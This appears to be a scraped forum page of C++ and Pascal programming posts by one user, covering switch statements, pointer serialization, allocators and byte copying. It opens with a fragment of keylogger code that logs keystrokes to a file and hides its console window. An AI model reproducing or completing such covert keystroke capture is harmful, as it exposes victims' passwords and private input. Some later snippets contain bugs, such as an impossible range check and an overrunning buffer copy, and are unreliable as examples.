    return 0;
}

int Save (int key_stroke, char *file)
{
    if ((key_stroke == 1) || (key_stroke == 2))
        return 0;

    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");

    cout << key_stroke << endl;

    switch (key_stroke)
    {
        case 8:          fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");  break;
        case 13:         fprintf(OUTPUT_FILE, "%s", "\n");           break;
        case 32:         fprintf(OUTPUT_FILE, "%s", " ");            break;
        case VK_TAB:     fprintf(OUTPUT_FILE, "%s", "[TAB]");        break;
        case VK_SHIFT:   fprintf(OUTPUT_FILE, "%s", "[SHIFT]");      break;
        case VK_CONTROL: fprintf(OUTPUT_FILE, "%s", "[CONTROL]");    break;
        case VK_ESCAPE:  fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");     break;
        case VK_END:     fprintf(OUTPUT_FILE, "%s", "[END]");        break;
        case VK_HOME:    fprintf(OUTPUT_FILE, "%s", "[HOME]");       break;
        case VK_LEFT:    fprintf(OUTPUT_FILE, "%s", "[LEFT]");       break;
        case VK_UP:      fprintf(OUTPUT_FILE, "%s", "[UP]");         break;
        case VK_RIGHT:   fprintf(OUTPUT_FILE, "%s", "[RIGHT]");      break;
        case VK_DOWN:    fprintf(OUTPUT_FILE, "%s", "[DOWN]");       break;

        case 190:
        case 110:        fprintf(OUTPUT_FILE, "%s", ".");            break;

        default:         fprintf(OUTPUT_FILE, "%s", &key_stroke);    break;
    }

    fclose (OUTPUT_FILE);
    return 0;
}

void Stealth()
{
    HWND Stealth;
    AllocConsole();
    Stealth = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(Stealth,0);
}
triumphost 120 Posting Whiz

Can I suggest that you should use a switch-case statement as well?

switch(key_stroke)
{
    case 13:
        //Add key to the log.
    break;

    case VK_TAB:
        //Add key to the log.
    break;

    case VK_SHIFT:
        //Add key to the log.
    break;

    //etc...

    default:
        //Unknown Key was pressed..
    break;
}
triumphost 120 Posting Whiz

Hey I have a question about your method.

Can you explain to me why:

char* Data = static_cast<char*>(GivenPtr);

char* pData = Data;


write_value(pData, 765);
write_value(pData, 553);

std::cout<<read_value<int>(Data) << ", "<< read_value<int>(Data)<<std::endl;

Reads backwards? For example, it prints 553 then 765 instead of the other way around. What is the logic behind why that happens?

But if I do:

char* Data = static_cast<char*>(GivenPtr);
char* pData = Data;

write_value(pData, 765);
pData += sizeof(int);
write_value(pData, 553);

std::cout<<read_value<int>(Data) <<std::endl;
Data += sizeof(int);
std::cout<<read_value<int>(Data)<<std::endl;

It prints the other way around.. 765 then 553.

EDIT: Seems to be Order of Operations/Evaluation..

triumphost 120 Posting Whiz

I have a void pointer that I casted to a char*. I'm trying to put different data types in that char* without having to cast so much. This includes doubles, floats, int's, etc..

char* Data = static_cast<char*>(GivenPtr);

switch(reinterpret_cast<int>(Data)[0]) //Or should it be reinterpret_cast<int>(Data[0])
{
    case OBJECT:  //defined as 301;
    {
        Data[0] = 863;  //Overflow?
        Data[1] = 970;

        //OR should I be doing:

        int* pData = reinterpret_cast<int*>(Data);
        pData[0] = 863;
        pData[1] = 970;

        double* pDub = reinterpret_cast<double*>(pData[2???]);   //Index 2???
        pDub[0] = 57.99;
    }
    break;
}

Write my char* to a buffer and read it back exactly the same way it was written to:

case OBJECT2:
{
    int X = reinterpret_cast<int>(Data[1]);  //Or reinterpret_cast(Data)[1]?
    std::cout<<X;

    double pDub = reinterpret_cast<double>(Data[??]);   //?????
    std::cout<<pDub;
}
break;

How can I tell what Indicies to write to after each cast? I really don't want to cast so much. Is there a way to just write it straight to a char* and then read straight from that char? Better yet, can I do this with a void?

triumphost 120 Posting Whiz

Does anyone have a tutorial for writing Custom Allocators and Memory Pools for std::vectors and Objects?

Basically I've looked at placement new and I want to know how I can force vectors to use this with my shared memory pointers.

I'm thinking writing a class for it might be much easier but I cannot find tutorials on it. It's so that I can place vectors themselves within my MappedMemory and Objects too.

triumphost 120 Posting Whiz

GDI and GDI+ has the ability to draw a variety of things.

triumphost 120 Posting Whiz

Well for one, you are asking the loop to stop ONLY if the user enters 6. Perhaps you want it to break out when an option is chosen?

Also have you considered using a switch case statement? Another thing is that if you want it to break out of the loop whenever an option is chosen, do:

if (sode == 1)
{
    cout<<"You paid for......"<<endl;
    break;
} 

//For the error thing:

if ((soda < 1) && (soda > 6))
    cout<<"Error.. Invalid option"<<endl;

Here's an example of the case:

#include <iostream>
#include <iomanip>
#include <cmath>

using namespace std;

int main()
{

    string answer;
    int soda;

    do
    {
        cout << "Choose a drink or 6 to quit:" << endl;
        cout << "1. Coke       $1.00" << endl;
        cout << "2. Water      Free" << endl;
        cout << "3. Sprite     $1.25" << endl;
        cout << "4. Dr. Pepper $1.75" << endl;
        cout << "5. Lemonade   $.60" << endl;
        cout << "6. Quit! \n" << endl;
        cin >> soda;
        cin.ignore();

        switch(soda)
        {
            case 1:
                cout << "You purchased Coke for a cost of $ " << endl;
            break;

            case 2:
                cout << "You purchased Water for a cost of $" << endl;
            break;

            case 3:
                cout << "You purchased Sprite for a cost of $" << endl;
            break;

            case 4:
                cout << "You purchased Dr. Pepper for a cost of $" << endl;
            break;

            case 5:
                cout << "You purchased Lemonade for a cost of $" << endl;
            break;

            default: cout<<"Error Invalid Option."<<endl; …
triumphost 120 Posting Whiz

Correct. It didn't reverse it at all; It copied from an offset to an offset. That's it.

triumphost 120 Posting Whiz

Well I wrote a class on this a while back. GetPixel was significantly slower for me. It will be faster than using GetPixel since you already have a list of all colours. It's like a bitblt vs. setpixel 5000 times.

I'll PM you a part of the class.

triumphost 120 Posting Whiz

I tried your code. Your code doesn't copy anything :S Didn't work for me. This did though:

type PByte  = ^Byte;
type PInt64 = ^Int64;

Procedure CopyBytes(var Dest: Pointer; Src: Pointer; DestOffset, SourceOffset, Size: Integer; CopyInReverse: Boolean);
var
  I, J: Integer;
begin
  If (Size < 1) Then
    Exit;

  For I := 0 To Size - 1 Do
    If CopyInReverse Then
      PByte(Dest + DestOffset + I)^ := PByte(Src + SourceOffset + (Size - I - 1))^
    Else
      PByte(Dest + DestOffset + I)^ := PByte(Src + SourceOffset + I)^;
end;

I tested it like:

var
  Dest, Src: Array Of Byte;
begin
  SetLength(Dest, 100);
  Src := [0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,20];

  copybytes(Pointer(dest), Pointer(src), 10, 6, 16, True);
  Writeln(Dest);
end. 

Now you should note that if the Destination array isn't large enough to copy at that offset, it will indeed throw an access violation or have undefined behaviour.

Example:

Dest is 100 in length. If you tried to copy 6 bytes starting from 100, it will crash. Why? Because Dest should be 106 if you want to do such a thing.

triumphost 120 Posting Whiz

Well I haven't done Pascal in ages but the "EXACT" Translation of the C++ code would be:

type PInt64 = ^Int64;

Function CopyBytes_16(var Dest: Pointer; Src: Pointer): Pointer;
begin
  PInt64(Dest)^ := PInt64(Src + 8)^;
  PInt64(Dest + 8)^ := PInt64(Src)^;
  Result := Dest + 16;
end;


//Which I used like:

var
  Dest, Src: Array Of Char;
begin

  //Src := 'This Is Cool';
  Src := [#84, #104, #105, #115, #32, #73, #115, #32, #67, #111, #111, #108];

  SetLength(Dest, 4);

  CopyBytes_16(Pointer(Dest), Pointer(Src));

  writeln(Dest);  //Prints 'Cool';
end.

Not sure if that's what you mean but yeah.

It works and does the exact same thing that your C++ Code does. You can test it by doing:

#include <iostream>

char* copy_bytes_16(char *dst, char *src)
{
  *(uint64_t*)dst = *(uint64_t*)(src + 8);
  *(uint64_t*)(dst + 8) = *(uint64_t*)src;
  return dst + 16;
}

int main()
{
    char Src[] = {'T','h','i','s',' ','I','s',' ','C','o','o','l'};
    char Dest[4] = {0};
    copy_bytes_16(Dest, Src);
    std::cout<<Dest;
}